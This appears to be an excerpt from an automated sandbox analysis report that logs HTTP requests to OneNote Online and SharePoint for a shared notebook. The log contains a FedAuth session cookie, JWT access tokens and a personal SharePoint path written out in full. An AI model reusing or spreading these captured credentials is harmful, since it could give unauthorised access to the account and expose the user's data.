FedAuth=77u/PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0idXRmLTgiPz48U1A+VjEzLDBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzEyYmViMzBiMWFjNDJjODg3OGZlZWI1ZmZlY2NlMWNiMTJhMzkwMzkxOGJhYzBmMjAzMGU5ZWQzMTM1ZWFkYzcsMCMuZnxtZW1iZXJzaGlwfHVybiUzYXNwbyUzYWFub24jMTJiZWIzMGIxYWM0MmM4ODc4ZmVlYjVmZmVjY2UxY2IxMmEzOTAzOTE4YmFjMGYyMDMwZTllZDMxMzVlYWRjNywxMzM2NTYwMTkxMjAwMDAwMDAsMCwxMzM2NTY4ODAxMjE1NDY1NzYsMC4wLjAuMCwyNTgsY2NkYzRlYmUtMTg4OC00OTliLTllNzMtYmJiZDU2MDE3OWVkLCwsNjJkNjNjYTEtZTAwZC05MDAwLTdlNGItMTY1YTcyNDE5MzRmLDYyZDYzY2ExLWUwMGQtOTAwMC03ZTRiLTE2NWE3MjQxOTM0ZixwQVoyRnNMaFBVbXZBVHNSZnowUFZRLDAsMCwwLCwsLDI2NTA0Njc3NDM5OTk5OTk5OTksMCwsLCwsLCwwLCwxODk5MjAsRGFEQWZqUVFtcHlPWHgyUnJLX1c1bHZvTFo0LEQ2cFVXcHNkQ2tEUXk4aEY4M2c1UE9aWVRuSXVYL2IvSzRMd2RMVzRmTGx5OTNjRmEyUWwvZVV3ZGF6cy83eDlYajNPdzhSaHVmSGxLMzlHcmpiUmF2SXNScDIzYzlaNk82ZXYyVkFZeVlnWnhUNGI0Q21SZVBKMkF2UUNzQ3FGczhla3pGb0RHMHI3UVRCOTlqWkdPZ2MvWHFMWkF2SWN2N0dIc2VTdEZ0Z240M1hYY2IyZ1NXWGxHdGVvWUNQVXFmSmFZQUNleDUvaU9BaSs5azhMdUk4OVFIUGx3a3ZLb2hORTdURDhLM1RVbnA1M0tldnQrSTBkU2VLMGs5NVpBZzNmOEV4YUxTWlhKYjM5MEtqcGsvOFNIM3RwYXRxTWR0TmVCNWJVZjFBVitncmh6NWFpbm9DRVZsTjJYUFFsaDVrQzZDdzRlS3F4NWRpNmdTWWJPUT09PC9TUD4=
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /suite/RemoteTelemetry.ashx?usid=5ed32588-7623-377d-905c-f0003950d05f HTTP/1.1Host: common.online.office.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /o/RemoteUls.ashx?build=16.0.17903.41012&waccluster=GEU3&usid=5ed32588-7623-377d-905c-f0003950d05f HTTP/1.1Host: euc-onenote.officeapps.live.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /o/RemoteUls.ashx?build=16.0.17903.41012&waccluster=GEU3&usid=5ed32588-7623-377d-905c-f0003950d05f HTTP/1.1Host: euc-onenote.officeapps.live.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /o/OneNote.ashx HTTP/1.1Host: euc-onenote.officeapps.live.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /o/RemoteUls.ashx?build=16.0.17903.41012&waccluster=GEU3&usid=5ed32588-7623-377d-905c-f0003950d05f HTTP/1.1Host: euc-onenote.officeapps.live.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /o/RemoteUls.ashx?build=16.0.17903.41012&waccluster=GEU3&usid=5ed32588-7623-377d-905c-f0003950d05f HTTP/1.1Host: euc-onenote.officeapps.live.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /o/null&DataUrlEnabled=true HTTP/1.1Host: euc-onenote.officeapps.live.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"X-WacFrontEnd: DU2PEPF0001783EX-OfficeVersion: 16.0.17903.41012X-Key: t/ISjT+shfkeAOTZkqEdojcTLfAeU4PnRUQRan5c91c=;DOqqcDz/2J80pgnNxU7yv8D6WrAB+Id46HGPnmnMXIM=,638567248150062543X-WacUserAgent: MSWACONSyncX-Requested-With: XMLHttpRequestX-xhr: 1sec-ch-ua-platform: "Windows"haep: 3X-AccessToken: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkRhREFmalFRbXB5T1h4MlJyS19XNWx2b0xaNCJ9.eyJhdWQiOiJ3b3BpL2FtZGF0LW15LnNoYXJlcG9pbnQuY29tQGNjZGM0ZWJlLTE4ODgtNDk5Yi05ZTczLWJiYmQ1NjAxNzllZCIsImlzcyI6IjAwMDAwMDAzLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMEA5MDE0MDEyMi04NTE2LTExZTEtOGVmZi00OTMwNDkyNDAxOWIiLCJuYmYiOiIxNzIxMTI4MDEyIiwiZXhwIjoiMTcyMTE2NDAxMiIsIm5hbWVpZCI6IjAjLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzEyYmViMzBiMWFjNDJjODg3OGZlZWI1ZmZlY2NlMWNiMTJhMzkwMzkxOGJhYzBmMjAzMGU5ZWQzMTM1ZWFkYzciLCJuaWkiOiJtaWNyb3NvZnQuc2hhcmVwb2ludCIsImlzdXNlciI6InRydWUiLCJjYWNoZWtleSI6IjBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzEyYmViMzBiMWFjNDJjODg3OGZlZWI1ZmZlY2NlMWNiMTJhMzkwMzkxOGJhYzBmMjAzMGU5ZWQzMTM1ZWFkYzciLCJzaGFyaW5naWQiOiJwQVoyRnNMaFBVbXZBVHNSZnowUFZRIiwiaXNsb29wYmFjayI6IlRydWUiLCJhcHBjdHgiOiI1ZWVjZjI4MDMzMzQ0NzZmOGY1MjI4ODZkNDM4OTA4NDtNTUlvZFR1azJ4WnA0U0xSMlJUN3FPR3EzbE09O0RlZmF1bHQ7MWFiM2VkNGUwMTQwNGE2Yzg5YzY2N2Y5ZTViYWVmZTc7O1RydWU7Ozs1MTI7NjJkNjNjYTEtMjAyOS05MDAwLTdlNGItMWMxNDBlZjM1MDI1IiwiZmlkIjoiMTg5OTIwIn0.ycWYKm-N30k6gmgtXeEx0gFSYqTJyTCMks-67ZdJ03a093akOzd8ox3pWTETnGBdwkbeLNmmiGlq0ZQ5pICKwPlVCTx64ux5foMmILxDbSl9Ba9FmLky9BZnYYunhwTZQ4HVu_nxw0yal7_sXAAaL_KsKuuKukcM1ZM5KFePBonVEQY--h7DJ4jXsgpCXct0mMz09wB2ECdXrH5nA41iS9KNbZI8WaYB_A_UKspaN1SLV5HGJyXUZV89ihucwtB6_4xDmOVy1-z226h15rBdGFNU9Zyr6uYvX7XyepaZAOCdTYHtrgsQkvh49BZSbTrrs-9ElCvDmnbGyx3OrA62DQX-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05fX-AccessTokenTtl: 1721164012481sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36X-UserType: WOPIX-IsCoauthSession: trueX-WacCluster: GEU3Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://euc-onenote.officeapps.live.com/o/onenoteframe.aspx?ui=en-US&rs=de-DE&wopisrc=https%3A%2F%2Famdat-my.sharepoint.com%2Fpersonal%2Fmai_amd_at%2F_vti_bin%2Fwopi.ashx%2Ffolders%2F5eecf2803334476f8f522886d4389084&wdenableroaming=1&mscc=1&wdodb=1&hid=62D63CA1-2029-9000-7E4B-1C140EF35025.0&uih=sharepointcom&wdlcid=en-US&dchat=1&sc=%7B%22pmo%22%3A%22https%3A%2F%2Famdat-my.sharepoint.com%22%2C%22pmshare%22%3Atrue%7D&wdorigin=Sharing.ClientRedirect&wdhostclicktime=1721128010390&jsapi=1&jsapiver=v1&newsession=1&corrid=5ed32588-7623-377d-905c-f0003950d05f&usid=5ed32588-7623-377d-905c-f0003950d05f&sftc=1&sams=1&cac=1&mtf=1&sfp=1&hch=1&hwfh=1&uihit=docaspx&muv=1&wdredirectionreason=Force_SingleStepBoot&rct=Normal&ctp=LeastProtectedAccept-Encoding: g
Source: global traffic	HTTP traffic detected: GET /o/RemoteUls.ashx?build=16.0.17903.41012&waccluster=GEU3&usid=5ed32588-7623-377d-905c-f0003950d05f HTTP/1.1Host: euc-onenote.officeapps.live.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PrivNote=-1
Source: global traffic	HTTP traffic detected: GET /o/OneNoteS2SHandler.ashx?action=educationuser&WOPIsrc=https%3A%2F%2Famdat%2Dmy%2Esharepoint%2Ecom%2Fpersonal%2Fmai%5Famd%5Fat%2F%5Fvti%5Fbin%2Fwopi%2Eashx%2Ffolders%2F5eecf2803334476f8f522886d4389084&access_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkRhREFmalFRbXB5T1h4MlJyS19XNWx2b0xaNCJ9%2EeyJhdWQiOiJ3b3BpL2FtZGF0LW15LnNoYXJlcG9pbnQuY29tQGNjZGM0ZWJlLTE4ODgtNDk5Yi05ZTczLWJiYmQ1NjAxNzllZCIsImlzcyI6IjAwMDAwMDAzLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMEA5MDE0MDEyMi04NTE2LTExZTEtOGVmZi00OTMwNDkyNDAxOWIiLCJuYmYiOiIxNzIxMTI4MDEyIiwiZXhwIjoiMTcyMTE2NDAxMiIsIm5hbWVpZCI6IjAjLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzEyYmViMzBiMWFjNDJjODg3OGZlZWI1ZmZlY2NlMWNiMTJhMzkwMzkxOGJhYzBmMjAzMGU5ZWQzMTM1ZWFkYzciLCJuaWkiOiJtaWNyb3NvZnQuc2hhcmVwb2ludCIsImlzdXNlciI6InRydWUiLCJjYWNoZWtleSI6IjBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzEyYmViMzBiMWFjNDJjODg3OGZlZWI1ZmZlY2NlMWNiMTJhMzkwMzkxOGJhYzBmMjAzMGU5ZWQzMTM1ZWFkYzciLCJzaGFyaW5naWQiOiJwQVoyRnNMaFBVbXZBVHNSZnowUFZRIiwiaXNsb29wYmFjayI6IlRydWUiLCJhcHBjdHgiOiI1ZWVjZjI4MDMzMzQ0NzZmOGY1MjI4ODZkNDM4OTA4NDtNTUlvZFR1azJ4WnA0U0xSMlJUN3FPR3EzbE09O0RlZmF1bHQ7MWFiM2VkNGUwMTQwNGE2Yzg5YzY2N2Y5ZTViYWVmZTc7O1RydWU7Ozs1MTI7NjJkNjNjYTEtMjAyOS05MDAwLTdlNGItMWMxNDBlZjM1MDI1IiwiZmlkIjoiMTg5OTIwIn0%2EycWYKm%2DN30k6gmgtXeEx0gFSYqTJyTCMks%2D67ZdJ03a093akOzd8ox3pWTETnGBdwkbeLNmmiGlq0ZQ5pICKwPlVCTx64ux5foMmILxDbSl9Ba9FmLky9BZnYYunhwTZQ4HVu%5Fnxw0yal7%5FsXAAaL%5FKsKuuKukcM1ZM5KFePBonVEQY%2D%2Dh7DJ4jXsgpCXct0mMz09wB2ECdXrH5nA41iS9KNbZI8WaYB%5FA%5FUKspaN1SLV5HGJyXUZV89ihucwtB6%5F4xDmOVy1%2Dz226h15rBdGFNU9Zyr6uYvX7XyepaZAOCdTYHtrgsQkvh49BZSbTrrs%2D9ElCvDmnbGyx3OrA62DQ&access_token_ttl=1721164012481 HTTP/1.1Host: euc-onenote.officeapps.live.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: PrivNote=-1
Source: global traffic	HTTP traffic detected: GET /o/OneNoteS2SHandler.ashx?action=eduproperties&notebookid=1-5EECF280-3334-476F-8F52-2886D4389084&isteacher=false&isstudent=false&WOPIsrc=https%3A%2F%2Famdat%2Dmy%2Esharepoint%2Ecom%2Fpersonal%2Fmai%5Famd%5Fat%2F%5Fvti%5Fbin%2Fwopi%2Eashx%2Ffolders%2F5eecf2803334476f8f522886d4389084&access_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkRhREFmalFRbXB5T1h4MlJyS19XNWx2b0xaNCJ9%2EeyJhdWQiOiJ3b3BpL2FtZGF0LW15LnNoYXJlcG9pbnQuY29tQGNjZGM0ZWJlLTE4ODgtNDk5Yi05ZTczLWJiYmQ1NjAxNzllZCIsImlzcyI6IjAwMDAwMDAzLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMEA5MDE0MDEyMi04NTE2LTExZTEtOGVmZi00OTMwNDkyNDAxOWIiLCJuYmYiOiIxNzIxMTI4MDEyIiwiZXhwIjoiMTcyMTE2NDAxMiIsIm5hbWVpZCI6IjAjLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzEyYmViMzBiMWFjNDJjODg3OGZlZWI1ZmZlY2NlMWNiMTJhMzkwMzkxOGJhYzBmMjAzMGU5ZWQzMTM1ZWFkYzciLCJuaWkiOiJtaWNyb3NvZnQuc2hhcmVwb2ludCIsImlzdXNlciI6InRydWUiLCJjYWNoZWtleSI6IjBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzEyYmViMzBiMWFjNDJjODg3OGZlZWI1ZmZlY2NlMWNiMTJhMzkwMzkxOGJhYzBmMjAzMGU5ZWQzMTM1ZWFkYzciLCJzaGFyaW5naWQiOiJwQVoyRnNMaFBVbXZBVHNSZnowUFZRIiwiaXNsb29wYmFjayI6IlRydWUiLCJhcHBjdHgiOiI1ZWVjZjI4MDMzMzQ0NzZmOGY1MjI4ODZkNDM4OTA4NDtNTUlvZFR1azJ4WnA0U0xSMlJUN3FPR3EzbE09O0RlZmF1bHQ7MWFiM2VkNGUwMTQwNGE2Yzg5YzY2N2Y5ZTViYWVmZTc7O1RydWU7Ozs1MTI7NjJkNjNjYTEtMjAyOS05MDAwLTdlNGItMWMxNDBlZjM1MDI1IiwiZmlkIjoiMTg5OTIwIn0%2EycWYKm%2DN30k6gmgtXeEx0gFSYqTJyTCMks%2D67ZdJ03a093akOzd8ox3pWTETnGBdwkbeLNmmiGlq0ZQ5pICKwPlVCTx64ux5foMmILxDbSl9Ba9FmLky9BZnYYunhwTZQ4HVu%5Fnxw0yal7%5FsXAAaL%5FKsKuuKukcM1ZM5KFePBonVEQY%2D%2Dh7DJ4jXsgpCXct0mMz09wB2ECdXrH5nA41iS9KNbZI8WaYB%5FA%5FUKspaN1SLV5HGJyXUZV89ihucwtB6%5F4xDmOVy1%2Dz226h15rBdGFNU9Zyr6uYvX7XyepaZAOCdTYHtrgsQkvh49BZSbTrrs%2D9ElCvDmnbGyx3OrA62DQ&access_token_ttl=1721164012481 HTTP/1.1Host: euc-onenote.officeapps.live.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"X-WacFrontEnd: DU2PEPF0001783EX-OfficeVersion: 16.0.17903.41012X-Key: t/ISjT+shfkeAOTZkqEdojcTLfAeU4PnRUQRan5c91c=;DOqqcDz/2J80pgnNxU7yv8D6WrAB+Id46HGPnmnMXIM=,638567248150062543X-WacUserAgent: MSWACONSyncX-Requested-With: XMLHttpRequestX-xhr: 1sec-ch-ua-platform: "Windows"haep: 3X-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05fOrgIdSiteUrl: https%3A%2F%2Famdat%2Dmy%2Esharepoint%2Ecom%2Fpersonal%2Fmai%5Famd%5Fatsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36X-UserType: WOPIX-IsCoauthSession: trueX-WacCluster: GEU3Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://euc-onenote.officeapps.live.com/o/onenoteframe.aspx?ui=en-US&rs=de-DE&wopisrc=https%3A%2F%2Famdat-my.sharepoint.com%2Fpersonal%2Fmai_amd_at%2F_vti_bin%2Fwopi.ashx%2Ffolders%2F5eecf2803334476f8f522886d4389084&wdenableroaming=1&mscc=1&wdodb=1&hid=62D63CA1-2029-9000-7E4B-1C140EF35025.0&uih=sharepointcom&wdlcid=en-US&dchat=1&sc=%7B%22pmo%22%3A%22https%3A%2F%2Famdat-my.sharepoint.com%
Source: global traffic	HTTP traffic detected: GET /o/error/error.html?aspxerrorpath=/o/null&DataUrlEnabled=true HTTP/1.1Host: euc-onenote.officeapps.live.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"X-WacFrontEnd: DU2PEPF0001783EX-OfficeVersion: 16.0.17903.41012X-Key: t/ISjT+shfkeAOTZkqEdojcTLfAeU4PnRUQRan5c91c=;DOqqcDz/2J80pgnNxU7yv8D6WrAB+Id46HGPnmnMXIM=,638567248150062543X-WacUserAgent: MSWACONSyncX-Requested-With: XMLHttpRequestX-xhr: 1sec-ch-ua-platform: "Windows"haep: 3X-AccessToken: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkRhREFmalFRbXB5T1h4MlJyS19XNWx2b0xaNCJ9.eyJhdWQiOiJ3b3BpL2FtZGF0LW15LnNoYXJlcG9pbnQuY29tQGNjZGM0ZWJlLTE4ODgtNDk5Yi05ZTczLWJiYmQ1NjAxNzllZCIsImlzcyI6IjAwMDAwMDAzLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMEA5MDE0MDEyMi04NTE2LTExZTEtOGVmZi00OTMwNDkyNDAxOWIiLCJuYmYiOiIxNzIxMTI4MDEyIiwiZXhwIjoiMTcyMTE2NDAxMiIsIm5hbWVpZCI6IjAjLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzEyYmViMzBiMWFjNDJjODg3OGZlZWI1ZmZlY2NlMWNiMTJhMzkwMzkxOGJhYzBmMjAzMGU5ZWQzMTM1ZWFkYzciLCJuaWkiOiJtaWNyb3NvZnQuc2hhcmVwb2ludCIsImlzdXNlciI6InRydWUiLCJjYWNoZWtleSI6IjBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzEyYmViMzBiMWFjNDJjODg3OGZlZWI1ZmZlY2NlMWNiMTJhMzkwMzkxOGJhYzBmMjAzMGU5ZWQzMTM1ZWFkYzciLCJzaGFyaW5naWQiOiJwQVoyRnNMaFBVbXZBVHNSZnowUFZRIiwiaXNsb29wYmFjayI6IlRydWUiLCJhcHBjdHgiOiI1ZWVjZjI4MDMzMzQ0NzZmOGY1MjI4ODZkNDM4OTA4NDtNTUlvZFR1azJ4WnA0U0xSMlJUN3FPR3EzbE09O0RlZmF1bHQ7MWFiM2VkNGUwMTQwNGE2Yzg5YzY2N2Y5ZTViYWVmZTc7O1RydWU7Ozs1MTI7NjJkNjNjYTEtMjAyOS05MDAwLTdlNGItMWMxNDBlZjM1MDI1IiwiZmlkIjoiMTg5OTIwIn0.ycWYKm-N30k6gmgtXeEx0gFSYqTJyTCMks-67ZdJ03a093akOzd8ox3pWTETnGBdwkbeLNmmiGlq0ZQ5pICKwPlVCTx64ux5foMmILxDbSl9Ba9FmLky9BZnYYunhwTZQ4HVu_nxw0yal7_sXAAaL_KsKuuKukcM1ZM5KFePBonVEQY--h7DJ4jXsgpCXct0mMz09wB2ECdXrH5nA41iS9KNbZI8WaYB_A_UKspaN1SLV5HGJyXUZV89ihucwtB6_4xDmOVy1-z226h15rBdGFNU9Zyr6uYvX7XyepaZAOCdTYHtrgsQkvh49BZSbTrrs-9ElCvDmnbGyx3OrA62DQX-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05fX-AccessTokenTtl: 1721164012481sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36X-UserType: WOPIX-IsCoauthSession: trueX-WacCluster: GEU3Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://euc-onenote.officeapps.live.com/o/onenoteframe.aspx?ui=en-US&rs=de-DE&wopisrc=https%3A%2F%2Famdat-my.sharepoint.com%2Fpersonal%2Fmai_amd_at%2F_vti_bin%2Fwopi.ashx%2Ffolders%2F5eecf2803334476f8f522886d4389084&wdenableroaming=1&mscc=1&wdodb=1&hid=62D63CA1-2029-9000-7E4B-1C140EF35025.0&uih=sharepointcom&wdlcid=en-US&dchat=1&sc=%7B%22pmo%22%3A%22https%3A%2F%2Famdat-my.sharepoint.com%22%2C%22pmshare%22%3Atrue%7D&wdorigin=Sharing.ClientRedirect&wdhostclicktime=1721128010390&jsapi=1&jsapiver=v1&newsession=1&corrid=5ed32588-7623-377d-905c-f0003950d05f&usid=5ed32588-7623-377d-905c-f0003950d05f&sftc=1&sams=1&cac=1&mtf=1&sfp=1&hch=1&hwfh=1&uihit=docaspx&muv=1&wdredirectionreason=Force_SingleStepBoot&rct=Normal&ctp=
Source: global traffic	HTTP traffic detected: GET /o/OneNoteS2SHandler.ashx?action=eduproperties&notebookid=1-5EECF280-3334-476F-8F52-2886D4389084&isteacher=false&isstudent=false&WOPIsrc=https%3A%2F%2Famdat%2Dmy%2Esharepoint%2Ecom%2Fpersonal%2Fmai%5Famd%5Fat%2F%5Fvti%5Fbin%2Fwopi%2Eashx%2Ffolders%2F5eecf2803334476f8f522886d4389084&access_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkRhREFmalFRbXB5T1h4MlJyS19XNWx2b0xaNCJ9%2EeyJhdWQiOiJ3b3BpL2FtZGF0LW15LnNoYXJlcG9pbnQuY29tQGNjZGM0ZWJlLTE4ODgtNDk5Yi05ZTczLWJiYmQ1NjAxNzllZCIsImlzcyI6IjAwMDAwMDAzLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMEA5MDE0MDEyMi04NTE2LTExZTEtOGVmZi00OTMwNDkyNDAxOWIiLCJuYmYiOiIxNzIxMTI4MDEyIiwiZXhwIjoiMTcyMTE2NDAxMiIsIm5hbWVpZCI6IjAjLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzEyYmViMzBiMWFjNDJjODg3OGZlZWI1ZmZlY2NlMWNiMTJhMzkwMzkxOGJhYzBmMjAzMGU5ZWQzMTM1ZWFkYzciLCJuaWkiOiJtaWNyb3NvZnQuc2hhcmVwb2ludCIsImlzdXNlciI6InRydWUiLCJjYWNoZWtleSI6IjBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzEyYmViMzBiMWFjNDJjODg3OGZlZWI1ZmZlY2NlMWNiMTJhMzkwMzkxOGJhYzBmMjAzMGU5ZWQzMTM1ZWFkYzciLCJzaGFyaW5naWQiOiJwQVoyRnNMaFBVbXZBVHNSZnowUFZRIiwiaXNsb29wYmFjayI6IlRydWUiLCJhcHBjdHgiOiI1ZWVjZjI4MDMzMzQ0NzZmOGY1MjI4ODZkNDM4OTA4NDtNTUlvZFR1azJ4WnA0U0xSMlJUN3FPR3EzbE09O0RlZmF1bHQ7MWFiM2VkNGUwMTQwNGE2Yzg5YzY2N2Y5ZTViYWVmZTc7O1RydWU7Ozs1MTI7NjJkNjNjYTEtMjAyOS05MDAwLTdlNGItMWMxNDBlZjM1MDI1IiwiZmlkIjoiMTg5OTIwIn0%2EycWYKm%2DN30k6gmgtXeEx0gFSYqTJyTCMks%2D67ZdJ03a093akOzd8ox3pWTETnGBdwkbeLNmmiGlq0ZQ5pICKwPlVCTx64ux5foMmILxDbSl9Ba9FmLky9BZnYYunhwTZQ4HVu%5Fnxw0yal7%5FsXAAaL%5FKsKuuKukcM1ZM5KFePBonVEQY%2D%2Dh7DJ4jXsgpCXct0mMz09wB2ECdXrH5nA41iS9KNbZI8WaYB%5FA%5FUKspaN1SLV5HGJyXUZV89ihucwtB6%5F4xDmOVy1%2Dz226h15rBdGFNU9Zyr6uYvX7XyepaZAOCdTYHtrgsQkvh49BZSbTrrs%2D9ElCvDmnbGyx3OrA62DQ&access_token_ttl=1721164012481 HTTP/1.1Host: euc-onenote.officeapps.live.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"X-WacFrontEnd: DU2PEPF0001783EX-OfficeVersion: 16.0.17903.41012X-Key: t/ISjT+shfkeAOTZkqEdojcTLfAeU4PnRUQRan5c91c=;DOqqcDz/2J80pgnNxU7yv8D6WrAB+Id46HGPnmnMXIM=,638567248150062543X-WacUserAgent: MSWACONSyncX-Requested-With: XMLHttpRequestX-xhr: 1sec-ch-ua-platform: "Windows"haep: 3X-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05fOrgIdSiteUrl: https%3A%2F%2Famdat%2Dmy%2Esharepoint%2Ecom%2Fpersonal%2Fmai%5Famd%5Fatsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36X-UserType: WOPIX-IsCoauthSession: trueX-WacCluster: GEU3Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://euc-onenote.officeapps.live.com/o/onenoteframe.aspx?ui=en-US&rs=de-DE&wopisrc=https%3A%2F%2Famdat-my.sharepoint.com%2Fpersonal%2Fmai_amd_at%2F_vti_bin%2Fwopi.ashx%2Ffolders%2F5eecf2803334476f8f522886d4389084&wdenableroaming=1&mscc=1&wdodb=1&hid=62D63CA1-2029-9000-7E4B-1C140EF35025.0&uih=sharepointcom&wdlcid=en-US&dchat=1&sc=%7B%22pmo%22%3A%22https%3A%2F%2Famdat-my.sharepoint.com%
